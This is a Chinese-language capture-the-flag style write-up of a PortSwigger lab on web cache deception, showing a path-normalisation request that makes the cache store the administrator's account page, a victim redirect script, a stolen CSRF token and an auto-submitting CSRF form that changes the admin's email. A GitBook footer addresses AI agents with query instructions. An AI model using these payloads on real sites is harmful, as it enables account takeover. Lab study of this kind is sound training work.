> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md).

# 具有精确匹配规则的 Web 缓存欺骗

### 利用精确匹配缓存规则实施 Web Cache 欺骗

#### 实验目标

* 更改用户电子邮件地址 **administrator**.
* 可用连接： **wiener:peter**.
* 提供了一个分隔符列表：Web 缓存欺骗实验分隔符列表。

<figure><img src="/files/e761ecc2e753cb4dd34aa02548a980911a55f6f3" alt=""><figcaption></figcaption></figure>

#### 观察到的上下文

* 在 **我的账户**，有一个用于更改电子邮件的字段。
* 发送的请求如下：

```bash
email=test%40test.com&csrf=Bfo2p16Es7RG8W0XBZxAJSuyJKOHbK0a
```

#### 分隔符测试

<figure><img src="/files/b4116dd956b542d0244c2b6f9a7435c7f9bdcea0" alt=""><figcaption></figcaption></figure>

* 通过测试列表中的字符，网站尤其接受：
* 该 **逗号** `;`
* 该 **问号** `?`

经典攻击在这个实验中不起作用。

<figure><img src="/files/a1e6ff9236b63db43f74ecddd8fbfe2524504ec4" alt=""><figcaption></figcaption></figure>

#### 发现隐藏资源

* 从 **目标 -> 站点地图**，使用 **发现内容**.

<figure><img src="/files/b6831429d4f5a88cd588d4749be51ee21ac7bd35" alt=""><figcaption></figcaption></figure>

* 一个 **robots 文件.txt** 出现了，并且它被\*\*缓存\*\*了。

<figure><img src="/files/2757a6c43707123ee95a1b104fb67f50acd3b919" alt=""><figcaption></figcaption></figure>

#### 通过规范化实现缓存接收（精确路径 + 绕行）

目的：通过让它看起来像一个隐藏资源，强制缓存存储敏感响应。

使用的应用：

```bash
GET /my-account;/../robots.txt
# 编码版本
GET /my-account;%2f%2e%2e%2frobots.txt
```

<figure><img src="/files/44f47a0da53d14ba8b84662aefe9c253e26f4490" alt=""><figcaption></figcaption></figure>

#### 发送给受害者的利用载荷

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account;%2f%2e%2e%2frobots.txt";
</script>
```

{% endcode %}

结果：

* 返回的页面对应于 **管理员账户**.

<figure><img src="/files/b31a91b2a823ae3d2537a282f907d1389aab2191" alt=""><figcaption></figcaption></figure>

在答案中，我们提取 **CSRF 令牌** 从电子邮件表单中，例如：

```html
<input required type="email" name="email" value="">
<input required type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5">
<button class='button' type='submit'> 更新电子邮件 </button>
```

#### 计划的最终阶段

* 使用此令牌生成一个 **PoC CSRF** 以发送一个 **POST** 请求到 **我的账户** 电子邮件更改页面，从而更改 **administrator** 电子邮件。

<figure><img src="/files/aa88943cd8206f6400f33383e0cb03c974643a86" alt=""><figcaption></figcaption></figure>

```html
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a6200c003095773896516fd00d800d3.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hacked&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="rP2JD7Ik9im0XQi3E4OLwR22dbk6gNr5" />
      <input type="submit" value="提交请求" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/web-cache-deception-with-exact-match-rules.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
